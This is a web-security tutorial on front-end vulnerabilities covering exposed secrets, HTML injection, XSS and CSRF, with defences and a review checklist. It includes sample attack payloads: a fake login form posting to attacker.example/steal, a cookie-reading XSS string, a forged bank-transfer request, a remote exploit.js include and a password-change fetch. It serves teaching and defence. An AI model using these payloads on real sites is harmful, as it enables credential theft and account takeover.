Skip to content

Front-End Vulnerabilities

Front-end vulnerabilities occur when insecure client-side code, unsafe rendering, or poor input handling allows attackers to expose sensitive data, alter page content, or execute malicious JavaScript in a victim's browser.

Because HTML, CSS, and JavaScript are delivered to the user's browser, attackers can inspect and manipulate them directly. Anything sent to the client should be treated as visible and controllable by the user.

Sensitive Data Exposure

Sensitive data exposure happens when private information is accidentally included in front-end code.

This can include:

  • Developer comments
  • Test credentials
  • Hardcoded API keys
  • Hidden form values
  • Internal endpoints
  • Debugging information
  • Backup paths
  • Hashes or tokens
  • Internal directory names

Client-Side Visibility

Front-end code runs in the user's browser. This means users can inspect:

  • HTML source
  • JavaScript files
  • CSS files
  • Network requests
  • API responses
  • Hidden form fields
  • Browser storage

A common mistake is assuming that hidden content is secure because it is not visible in the page interface.

Example:

<input type="hidden" name="role" value="admin">

This field may not be visible on the page, but it is still visible and editable in browser developer tools or an intercepting proxy.

Investigating Page Source

Pentesters commonly inspect page source during web reconnaissance.

Useful methods include:

Method Purpose
View Page Source Inspect raw HTML
Browser Developer Tools Inspect DOM, storage, scripts, and requests
Burp Suite Intercept and modify requests
cURL Retrieve source from the command line

Example:

curl -s https://example.com

High-Value Items in Source Code

Important findings may include:

Item Risk
Comments May reveal developer notes, credentials, or hidden routes
JavaScript files May contain API routes, keys, or business logic
Hidden fields May expose role, price, or permission values
Internal links May reveal admin panels or backup directories
API keys May allow abuse of third-party services
Debug data May reveal stack traces, paths, or framework details

HTML Injection

HTML injection occurs when an application inserts user-controlled input into a page without proper encoding or sanitization.

The browser interprets the injected input as HTML instead of plain text.

How HTML Injection Works

A vulnerable application may take user input and insert it directly into the DOM using .innerHTML.

Example vulnerable JavaScript:

function inputFunction() {
    var input = prompt("Please enter your name", "");
    if (input != null) {
        document.getElementById("output").innerHTML = "Your name is " + input;
    }
}

If the user enters:

<h1>Injected Heading</h1>

The browser renders it as an actual heading.

HTML Injection Impact

HTML injection can be used for:

  • Web page defacement
  • Fake login forms
  • Phishing prompts
  • UI manipulation
  • Brand damage
  • Social engineering

Example phishing-style payload:

<form action="https://attacker.example/steal">
  <label>Session expired. Login again:</label>
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" value="Login">
</form>

HTML Injection Prevention

Defenses include:

Defense Description
Output encoding Convert special characters into HTML entities
.textContent Render user input as text instead of HTML
Input validation Accept only expected input patterns
Sanitization Remove unsafe tags and attributes
Content Security Policy Restrict what the browser can execute or load

Safer JavaScript example:

document.getElementById("output").textContent = "Your name is " + input;

Cross-Site Scripting

Cross-Site Scripting, or XSS, occurs when an attacker causes malicious JavaScript to execute in another user's browser.

XSS is more dangerous than basic HTML injection because JavaScript can interact with the page, access sensitive browser data, and perform actions as the victim.

Main Types of XSS

Type Description Common Vector
Reflected XSS Payload is reflected in a single response Malicious URL
Stored XSS Payload is stored by the application and shown to other users Comments, profiles, posts
DOM XSS Vulnerability exists in client-side JavaScript Unsafe DOM manipulation

Reflected XSS

Reflected XSS occurs when user input is immediately returned in the server response.

Example:

https://example.com/search?q=<script>alert(1)</script>

If the application places the value of q into the page without encoding, the browser may execute it.

Stored XSS

Stored XSS occurs when the payload is saved by the application and later displayed to other users.

Common locations include:

  • Blog comments
  • Forum posts
  • Profile bios
  • Ticket descriptions
  • Chat messages
  • Product reviews

Stored XSS is often more severe because one payload can affect many users.

DOM XSS

DOM XSS occurs when vulnerable JavaScript reads attacker-controlled input and writes it into the page unsafely.

Common unsafe sources include:

  • location.search
  • location.hash
  • document.referrer
  • window.name
  • Browser storage

Common unsafe sinks include:

  • innerHTML
  • outerHTML
  • document.write()
  • eval()

XSS Payload Anatomy

Example payload:

#"><img src=/ onerror=alert(document.cookie)>

Payload breakdown:

Part Purpose
#"> Attempts to break out of an existing context
<img src=/> Creates an image element with an invalid source
onerror= Runs JavaScript when image loading fails
alert(document.cookie) Attempts to access cookies

XSS Impact

XSS can allow an attacker to:

  • Steal session cookies
  • Hijack user sessions
  • Capture keystrokes
  • Redirect users to malicious pages
  • Modify page content
  • Perform actions as the victim
  • Deliver phishing prompts
  • Attack administrators through stored payloads

XSS Prevention

Effective XSS prevention requires defense in depth.

Defense Description
Output encoding Encode special characters before rendering
Input validation Only accept expected input
Safe DOM APIs Use .textContent instead of .innerHTML
Sanitization Remove unsafe HTML using trusted libraries
HttpOnly cookies Prevent JavaScript from reading session cookies
Content Security Policy Restrict script execution sources

Important cookie flags:

Flag Purpose
HttpOnly Prevents JavaScript from reading the cookie
Secure Sends cookie only over HTTPS
SameSite Controls whether cookies are sent with cross-site requests

Cross-Site Request Forgery

Cross-Site Request Forgery, or CSRF, tricks a victim's browser into sending an unwanted request to a site where the victim is already authenticated.

XSS abuses the user's trust in a website. CSRF abuses the website's trust in the user's browser.

How CSRF Works

CSRF relies on the browser automatically including cookies with requests.

Attack flow:

  • The victim logs in to a legitimate application.
  • The application stores a session cookie in the browser.
  • The victim visits an attacker-controlled page.
  • The attacker page causes the browser to send a request to the legitimate application.
  • The browser automatically includes the victim's session cookie.
  • The application processes the request as if the victim intended it.

CSRF Requirements

A CSRF attack usually requires:

Requirement Description
Relevant action The target action changes data or performs a sensitive operation
Cookie-based sessions The browser automatically includes authentication cookies
Predictable request The attacker can guess or construct all required parameters
Missing CSRF token No unpredictable anti-CSRF value is required

CSRF Example

A malicious page could include a hidden request:

<img src="https://bank.example/transfer?to=attacker&amount=1000">

If the victim is authenticated and the application accepts state-changing GET requests, the browser may submit the request with the victim's cookies.

CSRF via XSS

Stored XSS can be used to deliver CSRF payloads from inside the trusted application itself.

Example:

<script src="https://attacker.example/exploit.js"></script>

The external script could send a background request:

fetch("https://target.example/api/password-change", {
  method: "POST",
  body: "new_password=Changed123!",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  }
});

CSRF Prevention

Defenses include:

Defense Description
Anti-CSRF tokens Require unpredictable tokens on sensitive requests
SameSite cookies Limit when cookies are sent cross-site
Re-authentication Require password confirmation for sensitive actions
MFA for critical actions Require additional approval
Avoid state-changing GET requests Use POST/PUT/DELETE for actions that modify data

The SameSite attribute controls when cookies are sent with cross-site requests.

Value Behavior
Strict Cookies are only sent for same-site requests
Lax Cookies are withheld for most cross-site subrequests but sent on top-level navigation
None Cookies are sent cross-site, but must also use Secure

Sanitization vs. Validation

Sanitization and validation are related but not the same.

Control Purpose Example
Validation Checks whether input matches the expected format A ZIP code must be five digits
Sanitization Removes or transforms unsafe content Convert < to &lt;

Strong applications use both.

Front-End Security Checklist

Use this checklist when reviewing front-end code:

  • Search source code for comments and secrets.
  • Review JavaScript files for hidden endpoints and API keys.
  • Check whether client-side validation can be bypassed.
  • Inspect hidden fields and browser storage.
  • Test whether input is rendered with .innerHTML.
  • Check for reflected, stored, and DOM-based XSS.
  • Verify cookies use HttpOnly, Secure, and SameSite.
  • Confirm sensitive actions require CSRF protection.
  • Ensure the application does not rely on front-end logic for authorization.